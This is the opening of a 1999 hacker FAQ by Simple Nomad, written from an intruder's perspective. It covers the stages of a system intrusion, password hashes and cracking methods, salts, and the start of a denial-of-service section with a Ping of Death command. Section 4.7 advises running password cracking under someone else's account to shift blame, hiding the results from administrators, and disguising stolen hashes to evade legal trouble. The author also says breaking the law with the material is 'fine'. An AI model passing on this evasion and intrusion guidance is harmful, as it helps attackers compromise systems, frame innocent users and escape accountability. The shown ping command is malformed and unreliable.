Hackers Handbook - Millenium Edition/Hackers Handbook.iso/library/hack99/hackfaq/hackfaq.txt

Text File | 1999-04-11 | 278.2 KB | 6,469 lines

  The Hack FAQ
  Simple Nomad ([e-mail])
  March 21, 1999

  This FAQ is intended to show and explain the steps and techniques
  behind hacking. While it serves both admin and hacker alike, the per-
  spective is from the intruder.
  ______________________________________________________________________

  Table of Contents
























































  1. General FAQ Info

     1.1 How do I add to this FAQ?
     1.2 How was this FAQ prepared?
     1.3 Is this FAQ available by anonymous FTP or WWW?
     1.4 What is the mission and goal of the FAQ?
     1.5 Where is the disclaimer?
     1.6 Contributions (and thanks to...)
     1.7 Other credits...
     1.8 Changelog

  2. Attack Basics

     2.1 What are the four steps to hacking?

  3. Account Basics

     3.1 What are accounts?
     3.2 What are groups?

  4. Password Basics

     4.1 What are some password basics?
     4.2 Why protect the hashes?
     4.3 What is a "dictionary" password cracker?
     4.4 What is a "brute force" password cracker?
     4.5 Which method is best for cracking?
     4.6 What is a "salt"?
     4.7 What are the "dangers" of cracking passwords?

  5. Denial of Service Basics

     5.1 What is "Denial of Service"?
     5.2 What is the Ping of Death?
     5.3 What is a SYN Flood attack?
     5.4 What are other popular Denial of Service attacks?

  6. Misc Info

     6.1 What is a "backdoor"?
     6.2 Why do I care about auditing, accounting, and logging?
     6.3 What are some different logging techniques used by Admins?
     6.4 Why should I not just delete the log files?
     6.5 What is a buffer overflow?

  7. NT Basics

     7.1 What are the components of NT security?
     7.2 How does the authentication of a user actually work?
     7.3 What is "standalone" vs. "workgroup" vs. "domain"?
     7.4 What is a Service Pack?
     7.5 What is a Hot Fix?
     7.6 Where are Service Packs and Hot Fixes?
     7.7 What's with "C2 certification"?
     7.8 Are there are interesting default groups to be aware of?
     7.9 What are the default directory permissions?
     7.10 Are there any special restrictions surrounding the Administrative Tools group in Presentation Manager?
     7.11 What is the Registry?
     7.12 What are hives?
     7.13 Why is the Registry like this and why do I care?

  8. NT Accounts

     8.1 What are common accounts and passwords in NT?
     8.2 What if the Sys Admin has renamed the Administrator account?
     8.3 How can I figure out valid account names for NT?
     8.4 What can null sessions to an NT machine tell me?

  9. NT Passwords

     9.1 How do I access the password file in NT?
     9.2 What do I do with a copy of SAM?
     9.3 What's the full story with NT passwords?
     9.4 How does brute force password cracking work with NT?
     9.5 How does dictionary password cracking work with NT?
     9.6 I lost the NT Administrator password. What do I do?
     9.7 How does a Sys Admin enforce better passwords?
     9.8 Can an Sys Admin prevent/stop SAM extraction?
     9.9 How is password changing related to "last login time"?

  10. NT Console Attacks

     10.1 What does direct console access for NT get me?
     10.2 What about NT's file system?
     10.3 What is Netmon and why do I care?

  11. NT Client Attacks

     11.1 What is GetAdmin.exe and Crash4.exe?
     11.2 Should I even try for local administrator access?
     11.3 I have guest remote access. How can I get administrator access?
     11.4 What about %systemroot%\system32 being writeable?
     11.5 What if the permissions are restricted on the server?
     11.6 What exactly does the NetBios Auditing Tool do?
     11.7 What is the "Red Button" bug?
     11.8 What about forging DNS packets for subversive purposes?
     11.9 What about shares?
     11.10 How do I get around a packet filter-based firewall?
     11.11 I hack from my Linux box. How can I do all that GUI stuff on remote NT servers?

  12. NT Denial of Service

     12.1 What can telnet give me in the way of denial of service?
     12.2 What can I do with Samba?
     12.3 What's with ROLLBACK.EXE?
     12.4 What is an OOB attack?
     12.5 Are there any other Denial of Service attacks?

  13. NT Logging and Backdoors

     13.1 Where are the common log files in NT?
     13.2 How do I edit/change NT log files without being detected?
     13.3 So how can I view/clear/edit the Security Log?
     13.4 How can I turn off auditing in NT?

  14. NT Misc. Attack Info

     14.1 How is file and directory security enforced?
     14.2 What is NTFS?
     14.3 Are there are vulnerabilities to NTFS and access controls?
     14.4 What is Samba and why is it important?
     14.5 How do I bypass the screen saver?
     14.6 How can I detect that a machine is in fact NT on the network?
     14.7 Can I do on-the-fly disk encryption on NT?
     14.8 Does the FTP service allow passive connections?
     14.9 What is this "port scanning" you are talking about?
     14.10 Does NT have bugs like Unix' sendmail?
     14.11 How is password changing related to "last login time"?
     14.12 Can sessions be hijacked?
     14.13 Are "man in the middle" attacks possible?
     14.14 What about TCP Sequence Number Prediction?
     14.15 What's the story with buffer overflows on NT?
  15. Netware Basics

     15.1 )HEADING

  16. Netware Accounts

     16.1 What are common accounts and passwords for Netware?
     16.2 How can I figure out valid account names on Netware?

  17. Netware Passwords

     17.1 How do I access the password file in Netware?
     17.2 What's the full story with Netware passwords?
     17.3 How does password cracking work with Netware?
     17.4 How does password cracking work with Netware?
     17.5 Can an Sys Admin prevent/stop Netware password hash extraction?
     17.6 Can I reset an NDS password with just limited rights?
     17.7 What is OS2NT.NLM?
     17.8 How does password encryption work?
     17.9 Can I login without a password?
     17.10 What's with Windows 95 and Netware passwords?

  18. Netware Console Attacks

     18.1 What's the "secret" way to get Supe access Novell once taught CNE's?
     18.2 How do I use SETPWD.NLM?
     18.3 I don't have SETPWD.NLM or a disk editor. How can I get Supe access?
     18.4 What's the "debug" way to disable passwords?
     18.5 How do I defeat console logging?
     18.6 Can I set the RCONSOLE password to work for just Supervisor?
     18.7 How can I get around a locked MONITOR?
     18.8 Where are the Login Scripts stored in Netware 4.x and can I edit them?
     18.9 What if I can't see SYS:_NETWARE?
     18.10 So how do I access SYS:_NETWARE?
     18.11 How can I boot my server without running STARTUP.NCF/AUTOEXEC.NCF?
     18.12 What else can be done with console access?

  19. Netware Client Attacks

     19.1 What is the cheesy way to get Supervisor access?
     19.2 How can I login without running the System Login Script in Netware 3.x?
     19.3 How can I get IP info from a Netware server remotely?
     19.4 Does 4.x store the LOGIN password to a temporary file?
     19.5 Everyone can make themselves equivalent to anyone including Admin. How?
     19.6 Can Windows 95 bypass NetWare user security?
     19.7 What is Packet Signature and how do I get around it?

  20. Netware Denial of Service

     20.1 How can I abend a Netware server?
     20.2 Will Windows 95 cause server problems for Netware?
     20.3 Will Windows 95 cause network problems for Netware?

  21. Netware Logging and Backdoors

     21.1 How do I leave a backdoor for Netware?
     21.2 What is the rumored "backdoor" in NDS?
     21.3 What is the bindery backdoor in Netware 4.x?
     21.4 Where are the common log files in Netware?
     21.5 What is Accounting?
     21.6 How do I defeat Accounting?
     21.7 What is Intruder Detection?
     21.8 How do I check for Intruder Detection?
     21.9 What are station/time restrictions?
     21.10 How can I tell if something is being Audited in Netware 4.x?
     21.11 How can I remove Auditing if I lost the Audit password?
     21.12 What is interesting about Netware 4.x's licensing?
     21.13 What is the Word Perfect 5.1 trick when running Netware 3.x over DOS?

  22. Netware Misc. Attack Info

     22.1 How do I spoof my node or IP address?
     22.2 How can I see hidden files and directories?
     22.3 How do I defeat the execute-only flag?
     22.4 How can I hide my presence after altering files?
     22.5 What is a Netware-aware trojan?
     22.6 What are Trustee Directory Assignments?
     22.7 Are there any default Trustee Assignments that can be exploited?
     22.8 What are some general ways to exploit Trustee Rights?
     22.9 Can access to .NCF files help me?
     22.10 Can someone think they've logged out and I walk up and take over?
     22.11 What other Novell and third party programs have holes that give "too much access"?
     22.12 How can I get around disk space requirements?
     22.13 How do I remotely reboot a Netware 3.x file server?
     22.14 What is Netware NFS and is it secure?
     22.15 Can sniffing packets help me break into Netware servers?
     22.16 What else can sniffing around Netware get me?
     22.17 Do any Netware utilities have holes like Unix utilities?
     22.18 Where can I get the Netware APIs?
     22.19 Are there alternatives to Netware's APIs?
     22.20 How can I remove NDS?
     22.21 What are security considerations regarding partitions of the tree?
     22.22 Can a department "Supe" become a regular Admin to the entire tree?
     22.23 Are there products to help improve Netware's security?
     22.24 Is Netware's Web server secure?
     22.25 What's the story with Netware's FTP NLM?
     22.26 Can an IntranetWare server be compromised from the Internet?
     22.27 Are there any problems with Novell's Groupwise?
     22.28 Are there any problems with Netware's Macintosh namespace?
     22.29 What's the story with buffer overflows on Netware?

  23. Netware Mathematical/Theoretical Info

     23.1 How does the whole password/login/encryption thing work?
     23.2 Are "man in the middle" attacks possible?
     23.3 Are Netware-aware viruses possible?
     23.4 Can a trojaned LOGIN.EXE be inserted during the login process?
     23.5 Is anything "vulnerable" during a password change?
     23.6 Is "data diddling" possible?

  24. Unix Accounts

     24.1 What are common accounts and passwords for Unix?
     24.2 How can I figure out valid account names for Unix?

  25. Unix Passwords

     25.1 How do I access the password file in Unix?
     25.2 What's the full story with Unix passwords?
     25.3 How does brute force password cracking work with Unix?
     25.4 How does dictionary password cracking work with Unix?
     25.5 How does a Sys Admin enforce better passwords and password management?
     25.6 So what can I learn with a password file from a heavily secured system?

  26. Unix Local Attacks

     26.1 Why attack locally?
     26.2 How do most exploits work?
     26.3 So how does a buffer overflow work?

  27. Unix Remote Attacks

     27.1 What are remote hacks?

  28. Unix Logging

     28.1 Where are the common log files in Unix?
     28.2 How do I edit/change the log files for Unix?

  29. Hacker Resources

     29.1 What are some security-related WWW locations?
     29.2 What are some security-related USENET groups?
     29.3 What are some security-related mailing lists?
     29.4 What are some other FAQs?
     29.5 Where are all of these files mentioned in the FAQ?


  ______________________________________________________________________

  11..  GGeenneerraall FFAAQQ IInnffoo

  The following was originally compiled in June 1998. It answers some
  basic questions about this FAQ and hacking.


  11..11..  HHooww ddoo II aadddd ttoo tthhiiss FFAAQQ??

  Send comments about info in this FAQ to [e-mail]. Simple flames
  about typos, the "that's not right" one liners will be ignored. If you
  wish to contribute corrections please include your research and source
  of facts. Also if you wish to add your information, I will include it
  if I can include your email address, unless I can verify the info
  independently. This way if someone has questions, they can bug you,
  not me.

  It is prefered that you include OS flavor and versions, and other
  conditions used in testing. Theoretical discussion is fine, just try
  and back up your findings. Also note that we may often rewrite your
  submissions to match the "elite" nature of our FAQ ;-)

  Anonymous submissions are okay. Encrypt them if you like, here's
  Simple Nomad's PGP key (also available from MIT's key server):



  -----BEGIN PGP PUBLIC KEY BLOCK-----
  Version: 2.6.2

  mQCNAzEQrjMAAAEEANaIf2AiInhVwmrZEFZ5V2eyZfuJfjoI9unJwRhokwJ4TtVh
  ApEwjXVEbJBCPRKOHzibi5IEF2BirpzzlSy0Aj82yZk/iqYtJO60S0aycSPNPBl5
  BmoLJaUjxakmnMMXOl3qdeWWtScpP7B4QTHyfsHRvQz0HSUPxh6RUqAiTzdxAAUR
  tCRTaW1wbGUgTm9tYWQgPHRoZWdub21lQGZhc3RsYW5lLm5ldD4=
  =v0Xj
  -----END PGP PUBLIC KEY BLOCK-----



  And the PGP 5 key...









  -----BEGIN PGP PUBLIC KEY BLOCK-----
  Version: PGP for Personal Privacy 5.0

  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
  pRIi/CztAg==
  =c+/T
  -----END PGP PUBLIC KEY BLOCK-----




  11..22..  HHooww wwaass tthhiiss FFAAQQ pprreeppaarreedd??

  Testing for a large part of the material was completed in the NMRC lab
  and at various field locations. Most of the tools used during testing
  are available from the NMRC web site in the files section (alternate
  locations are listed in the resources section for these tools).

  Specific testing for Netware was done in the lab and at field
  locations. For NT the lab was used, but due to a recent "moment of
  clarity" NT is no longer operational in the labs. Field locations will
  be used from now on. Web related hacking information has been done in
  the field but due to a couple of odd related projects we currently
  have resources for this type of testing in the lab. Unix testing is
  also done in the lab, but primarily limited to Linux, OpenBSD,
  FreeBSD, and AIX.

  Technical info has been discovered (read "quoted without permission
  because it was out in a public forum so I leeched it") and collected,
  often the technical detail is complete and self-explanatory in its
  original source, so I feel no reason to "test" it in a lab
  environment. I try and quote original material when I can, if I have
  left you out, let me know.
  The actual FAQ was assembled from the various text files and turned
  into SGML source. The SGML-Tools package was used and only slightly
  altered to create these web pages. This gives us a single starting
  place during revisions and the opportunity for a multitude of output
  formats.


  11..33..  IIss tthhiiss FFAAQQ aavvaaiillaabbllee bbyy aannoonnyymmoouuss FFTTPP oorr WWWWWW??

  This FAQ is available online from the following locations:

  www.nmrc.org/faqs/hackfaq/index.html
  <http://www.nmrc.org/faqs/hackfaq/index.html>.

  This FAQ is available in other formats, including its raw SGML. See
  the www.nmrc.org/faqs/index.html <http://www.nmrc.org/faqs/index.html>
  page for details.

  Currently due to the new processing of the information manual mirrors
  will not be supported. Once we've implemented the processes, we will
  more than likely be providing updates to this FAQ once a month.


  11..44..  WWhhaatt iiss tthhee mmiissssiioonn aanndd ggooaall ooff tthhee FFAAQQ??

  If I said "to teach hacking" I would be lying. First off, no
  documentation will teach you how to hack. This FAQ answers common
  questions regarding some of the underlying mechanics from a hacker
  perspective. Second, I will not be drawn into a debate regarding usage
  of the term hacker, cracker, phreaker, hacking, cracking, and will
  certainly not be drawn into a discussion on the moral and legal issues
  involved. The material is what it is -- no more, no less, and I use
  terms the way I see fit to answer a question from the intruder
  perspective.

  So the goal here is simply information disemination.


  11..55..  WWhheerree iiss tthhee ddiissccllaaiimmeerr??

  There is no disclaimer. Disclaimers are lame and idiotic LawyerSpeak.
  I don't care how you use this information. If you use it to break the
  law, fine. If you get caught, fine. If you use it to secure a system,
  fine. I am responsible for myself, therefore I need no "disclaimer".
  Instead, here is my EXclaimer -- PISS OFF.

  The only thing more lame than a disclaimer on a web page is a
  disclaimer in a sig file (we all know how millions of dollars in
  attorney's fees are saved by sig files every year).


  11..66..  CCoonnttrriibbuuttiioonnss ((aanndd tthhaannkkss ttoo......))

  Here are a few of our many contributors of info:


  +o  The LAN God

  +o  Teiwaz [e-mail]

  +o  Fauzan Mirza [e-mail]

  +o  David A Wagner [e-mail]

  +o  Diceman mailto:[e-mail]

  +o  PEME_Inc

  +o  Craig [e-mail]

  +o  Einar Blaberg [e-mail]

  +o  SIC -- Hardware, Cyberius, and Jungman

  +o  Michael Edwards [e-mail]

  +o  Jacob Ayres [e-mail]

  ...and various sources who wish to remain anonymous...


  11..77..  OOtthheerr ccrreeddiittss......

  Tech Support (and special thanks to):


  +o  itsme - infamous Netware Netherlands hack fame

  +o  Greg Miller - Programmer/Analyst (home page in the Resources
     section)

  Lab Support:

  Ace, Mike, Knobster, Up-uat, Fourth Stooge, B.C.

  Documentation and Compilation:


  +o  [e-mail] (Hole)

  Music Heard During Revising/Editing/Testing:


  +o  Nine Inch Nails <http://www.nin.net/>

  +o  Live

  +o  "Lost Highway" Soundtrack

  +o  "Spawn" Soundtrack

  +o  Rammstein <http://www.rammstein.com/>

  +o  Metallica <http://www.metclub.com/main.html>

  +o  Marilyn Manson

  +o  Filter


  11..88..  CChhaannggeelloogg

  Here are the changes that have been made to this FAQ:

  March 21, 1999

  +o  Updated information in 11.11

  +o  Added 13.3, 13.4



  22..  AAttttaacckk BBaassiiccss

  22..11..  WWhhaatt aarree tthhee ffoouurr sstteeppss ttoo hhaacckkiinngg??

  While there is no hard and fast rule to hacking, most system
  intrusions can be divided into four steps. Depending on techniques
  involved, there could be less or more, but you should get the basic
  idea.


  1. Learn as much as possible about your target before the attack. The
     techniques involved can be passive to bordering on mini-attacks
     themselves.  And plan out your goals. Using your knowledge gained
     develop a plan, no matter how small or quick the hack is.

  2. Initial access to the system. No doubt about it, this is the real
     attack part. This could be anything from ftp access to a sendmail
     bug to logging in as a "regular" user. It should either create an
     opportunity for indirect or direct access.

  3. Full system access. At this level most goals developed can be
     carried out -- password file retrieved for cracking, trojan
     installed, secret file copied, etc. So this stage usually involves
     either taking advantage of a bug that allows higher priviledges to
     be obtained, taking advantages of misconfigured system parameters,
     or a combination of both.

  4. Tracks are covered and backdoors installed. System logging is
     doctored to remove traces of the attack and what was done during
     the attack, and either defenses are lowered or files are tampered
     with to allow quicker and easier access. Some experienced hackers
     even patch the system to keep less experienced hackers out of the
     system (who might possibly tip off a Sys Admin through clumsiness).
     Once step four is complete, hackers will refer to this system being
     owned.

  Of course some steps might be repeated, especially step two. Or maybe
  an entire series of mini "1 2 3 4" "1 2 3 4" attacks are used in
  concert to obtain access to a system or achieve a goal.



  33..  AAccccoouunntt BBaassiiccss

  This section deals with the basics regarding computer accounts.


  33..11..  WWhhaatt aarree aaccccoouunnttss??

  Accounts are a way of identifying users to a computer system. Other
  terms you may see or here are user IDs, IDs, logins, or some other
  variant. Most systems when initially accessed will require you to
  provide an account name, and will usually require you follow up with a
  password. Not knowing a password sucks, but not knowing a valid
  account name sucks more.

  Account names are usually something either very common, such as a part
  of the user's name (like tshimomura or kmitnick), part of a user's
  function (like dbadmin or webmaster), or sometimes kind of goofy, like
  employee numbers (like u121), or something made up (like up-uat or
  imnsho).  Usually if you can find out one or two regular user account
  names, it might be possible to guess additional names -- particularly
  if employee numbers or account numbers are used.

  Accounts can usually be divided up into four categories -- god,
  special, regular, and guest. A god account can usually do anything
  system-wise, from adding more users to changing anybody's password to
  complete system reconfiguration.  As a hacker, this is typically your
  objective. Special accounts are usually either accounts used by the
  system itself or accounts that fulfill some type of administrative
  roll without full god access. Regular accounts are simply that -- the
  accounts used by regular users for their normal tasks. And guest
  accounts are accounts designed for anyone to use -- these are usually
  there as a convenience for those who do not have a regular account on
  the system. A good example of this is anonymous ftp. Typically guest
  accounts have fairly restrictive access to the system, especially on
  publicly accessible systems.


  33..22..  WWhhaatt aarree ggrroouuppss??

  Groups are simply groupings of users. They are primarily used to ease
  system administration. For example, instead of having to assign access
  to a new hard drive to the forty accounting users, an admin just has
  to assign the accounting group the access. Even special privileges can
  often be assigned by group, such as the ability to manage a set of
  programs or system functions like printing.

  Most modern systems allow accounts to belong to more than one group.



  44..  PPaasssswwoorrdd BBaassiiccss

  This section deals with the basics regarding passwords.


  44..11..  WWhhaatt aarree ssoommee ppaasssswwoorrdd bbaassiiccss??

  Most accounts on a computer system usually have some method of
  restricting access to that account, usually in the form of a password.
  When accessing the system, the user has to present a valid ID to use
  the system, followed by a password to use the account. Most systems
  either do not echo the password back on the screen as it is typed, or
  they print an asterisk in place of the real character.

  On most systems the password is typically ran through some type of
  algorithm to generate a hash. The hash is usually more than just a
  scrambled version of the original text that made up the password, it
  is usually a one-way hash. The one-way hash is a string of characters
  that cannot be reversed into its original text.  You see, most systems
  do not "decrypt" the stored password during authentication, they store
  the one-way hash.  During the login process, you supply an account and
  password. The password is ran through an algorithm that generates a
  one-way hash. This hash is compared to the hash stored on the system.
  If they are the same, it is assumed the proper password was supplied.

  Cryptographically speaking, some algorithms are better than others at
  generating a one-way hash. The main operating systems we are covering
  here -- NT, Netware, and Unix -- all use an algorithm that has been
  made publically available and has been scrutinized to some degree.

  To "crack" a password requires getting a copy of the one-way hash
  stored on the server, and then using the algorithm generate your own
  hash until you get a match. When you get a match, whatever word you
  used to generate your hash will allow you to log into that system.
  Since this can be rather time-consuming, automation is typically used.
  There are freeware password crackers available on the Internet for NT,
  Netware, and Unix.



  44..22..  WWhhyy pprrootteecctt tthhee hhaasshheess??

  If the one-way hashes are not the password itself but a mathematical
  derivative, why should they be protected? Well, since the algorithm is
  already known, a password cracker could be used to simply encrypt the
  possible passwords and compare the one-way hashes until you get a
  match. There are two types of approaches to this -- dictionary and
  brute force.

  Usually the hashes are stored in a part of the system that has extra
  security to limit access from potential crackers.


  44..33..  WWhhaatt iiss aa ""ddiiccttiioonnaarryy"" ppaasssswwoorrdd ccrraacckkeerr??

  A dictionary password cracker simply takes a list of dictionary words,
  and one at a time encrypts them to see if they encrypt to the one way
  hash from the system. If the hashes are equal, the password is
  considered cracked, and the word tried from the dictionary list is the
  password.

  Some of these dictionary crackers can "manipulate" each word in the
  wordlist by using filters. These rules/filters allow you to change
  "idiot" to "1d10t" and other advanced variations to get the most from
  a word list. The best known of these mutation filters are the rules
  that come with Crack (for Unix). These filtering rules are so popular
  they have been ported over to cracking software for NT.

  If your dictionary cracker does not have manipulation rules, you can
  "pre-treat" the wordlist. Therion's Password Utility for DOS is a good
  example of a wordlist manipulation tool that allows all kinds of ways
  to filter, expand, and alter wordlists. With a little careful
  planning, you can turn a small collection of wordlists into a very
  large and thorough list for dictionary crackers without those fancy
  word manipulations built in.


  44..44..  WWhhaatt iiss aa ""bbrruuttee ffoorrccee"" ppaasssswwoorrdd ccrraacckkeerr??

  A brute force cracker simply tries all possible passwords until it
  gets the password. From a cracker perspective, this is usually very
  time consuming. However, given enough time and CPU power the password
  eventually gets cracked.

  Most modern brute force crackers allow a number of options to be
  specified, such as maximum password length or characters to brute
  force with.


  44..55..  WWhhiicchh mmeetthhoodd iiss bbeesstt ffoorr ccrraacckkiinngg??

  It really depends on your goal, the cracking software you have, and
  the operating system you are trying to crack. Let's go through several
  scenarios.

  If you remotely retrieved the password file to a system through some
  system bug, your goal may be to simply get logged into that system.
  With the password file you now have the user accounts and the hashes.
  A dictionary attack seems like the quickest method, as you may simply
  want access to the box. This is typical if you have a method of
  leveraging basic access to gain god status.

  If you already have basic access and used this access to get the
  password file, maybe you have a particular account you wish to crack.
  While a couple of swipes with a dictionary cracker might help, brute
  force may be the way to go.
  If your cracking software does both dictionary and brute force, and
  both are quite slow, you may just wish to kick off a brute force
  attack and then go about your day. By all means I recommend a
  dictionary attack with a pre-treated wordlist first, followed up by
  brute force only on the accounts you really want the password to.

  You should pre-treat your wordlists if the machine you are going to be
  cracking from bottlenecks more at the CPU than at the disk controller.
  For example, some slower computers with extremely fast drives make
  good candidates for large pre-treated wordlists, but if you have the
  CPU cycles to spare you might want to let the cracking program's
  manipulation filters do their thing.

  A lot of serious hackers have a large wordlist in both regular and
  pre-treated form to accommodate either need.


  44..66..  WWhhaatt iiss aa ""ssaalltt""??

  To increase the overhead in cracking passwords, some algorithms employ
  salts to add further complexity and difficulty to the cracking of
  passwords. These salts are typically 2 to 8 bytes in length, and
  algorithmically introduced to further obfuscate the one-way hash. On
  the major operating system covered here, only NT does not use a salt.
  The specifics for salts for both Unix and Netware systems are covered
  in their individual password sections.

  Historically the way cracking has been done is to take a potential
  password, encrypt it and produce the hash, and then compare the result
  to each account in the password file. By adding a salt, you force the
  cracker to have to read the salt in and encrypt the potential password
  with each salt present in the password file. This increases the amount
  of time to break ALL of the passwords, although it is certainly no
  guarantee that the passwords can't be cracked. Because of this most
  modern password crackers when dealing with salts do give the option of
  checking a specific account.


  44..77..  WWhhaatt aarree tthhee ""ddaannggeerrss"" ooff ccrraacckkiinngg ppaasssswwoorrddss??

  The dangers are quite simple, and quite real. If you are caught with a
  password file from a system you do not have legitimate access to, you
  are technically in possession of stolen property in the eyes of the
  law. For this reason some hackers like to run cracking on someone
  else's systems, thereby limiting their liability. I would only
  recommend doing this on a system you have a legitimate or well
  established account on if you wish to keep a good eye on things, but
  perhaps have a way of running the cracking software under a different
  account than your own. This way, if the cracking is discovered (as it
  often is -- cracking is fairly CPU intensive), it looks to belong to
  someone else. Obviously you would want to run this under system
  adminstrator priviledges as you may have a bit more control, such as
  assigning lower priority to the cracking software, and hiding the
  results (making it less obvious to the real administrator). Being on a
  system you have legit access to also allows you better access to check
  on the progress. Of course if it is known you are a hacker, you'll
  still be the first to be blamed whether the cracking software is yours
  or not!

  Running the cracking software in the privacy of your own home has the
  advantage of allowing you to throw any and all computing power you
  have at your disposal at a password, but if caught (say you get
  raided) then there is little doubt whose cracking job is running ;-)
  but there are a couple of things you can do to protect yourself.


  First, encrypt your files. Only decrypt them when you are viewing
  them, and wipe and/or encrypt them back after you are done viewing
  them. Also, have a legitimate copy of the OS whose password you are
  trying to correct, and import the one-way hash into your own password
  file. Therefore you are cracking "your own" passwords to protect your
  own system. Granted this isn't exactly foolproof, but it could only
  help.



  55..  DDeenniiaall ooff SSeerrvviiccee BBaassiiccss

  This section covers basic info regarding "Denial of Service".


  55..11..  WWhhaatt iiss ""DDeenniiaall ooff SSeerrvviiccee""??

  Denial of Service (DoS) is simply rendering a service offered by a
  workstation or server unavailable to others. This is a controversial
  subject, since some people think that DoS is not a hack, or rather
  juvenile and petty. While I can't think of very many reasons why you
  might want to engage in DoS, I still will continue to include this
  type of material in the Hack FAQ. What is more sad -- the fact that I
  include them, or the fact that there are so many of them?

  Regardless of your feelings, DoS has been steadily gaining in
  popularity, be it hackers mad at other hackers, sys admins mad at
  spammers, or whatever -- virtually everyone I've run into that is
  aware of the potential of DoS at least has software to do it, admins
  included.

  Reasons that a hacker might want to resort to DoS might include the
  following:


  +o  A trojan has been installed, but a reboot is required to activate
     it.

  +o  A hacker wishes to cover their tracks VERY DRAMATICALLY, or cover
     CPU activity with a random crash to make the site think it was
     "just a fluke".

  +o  The hacker isn't a hacker at all, but a pissed off lamer who has a
     poor outlook and too much free time.

  +o  The hacker is acting out of the need (or delusion) that the DoS
     serves a greater good, such as a DoS attack on Pro Life sites by
     Pro Choice believers.

  Reasons that a Sys Admin might use DoS:


  +o  A Sys Admin may want to ensure that their site is NOT vulnerable by
     testing out the latest patch.

  +o  A Sys Admin has a runaway process on a server causing problems and
     cannot physically access the box (I have officially done this twice
     now).

  +o  The Sys Admin isn't a Sys Admin at all, but a pissed off lamer who
     has a poor outlook and too much free time.





  55..22..  WWhhaatt iiss tthhee PPiinngg ooff DDeeaatthh??

  The Ping of Death is a large ICMP packet sent by a workstation to a
  target. The target receives the ping in fragments and starts
  reassembling the packet. However, due to the size of the packet once
  it is reassembled it is too big for the buffer and overflows it.  This
  causes unpredictable results, such as reboots or system hangs.

  Windows 95 and Windows NT are capable of sending such a packet. By
  simply typing in "ping -165527 -s 1 target" you can send such a ping.
  There are also source code examples available for Unix platforms that
  allow large ping packets to be constructed.  These sources are freely
  available on the Internet.

  Most systems have patches available to prevent Ping of Death from
  working.


  55..33..  WWhhaatt iiss aa SSYYNN FFlloooodd aattttaacckk??

  In the TCP/IP protocol, a three way handshake takes place as a service
  is connected to.  First in a SYN packet from the client, with which
  the service responses with a SYN-ACK.  Finally the client responds to
  the SYN-ACK and the conversation is considered started.

  A SYN Flood attack is when the client does not response to the SYN-
  ACK, tying up the service until the service times out, and continues
